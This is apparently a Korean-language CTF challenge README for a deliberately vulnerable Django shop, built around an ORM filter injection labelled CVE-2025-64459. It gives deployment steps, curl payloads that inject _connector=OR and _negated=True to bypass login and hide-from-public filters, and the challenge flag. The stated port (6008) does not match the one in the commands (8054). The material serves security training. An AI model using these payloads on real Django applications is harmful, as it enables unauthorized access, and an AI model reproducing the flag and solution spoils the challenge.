CTF 챌린지: Django ORM 인젝션 (CVE-2025-64459)

카테고리: 웹 보안
난이도: 중간
취약점: CVE-2025-64459 - Django ORM 필터 인젝션

📝 설명

우리는 관리자 패널이 있는 안전한 상품 샵을 구축했습니다. 인증을 우회하고 개인 관리자 노트를 찾을 수 있나요?

URL: http://YOUR_SERVER:6008

🚀 배포

cd web_django_cve
docker-compose up --build -d

🎯 익스플로잇 (CVE-2025-64459)

인증 우회 (/login/)

# Using _connector=OR
curl "http://HOST:8054/login/?username=admin&_connector=OR&is_superuser=True"

# Using _negated
curl "http://HOST:8054/login/?username=admin&_negated=True"

상품 필터 우회 (/)

# Negate is_public filter
curl "http://HOST:8054/?_negated=True"

# Direct access
curl "http://HOST:8054/?is_public=False"

🏁 플래그

lol-you-here_then-you_exploited_me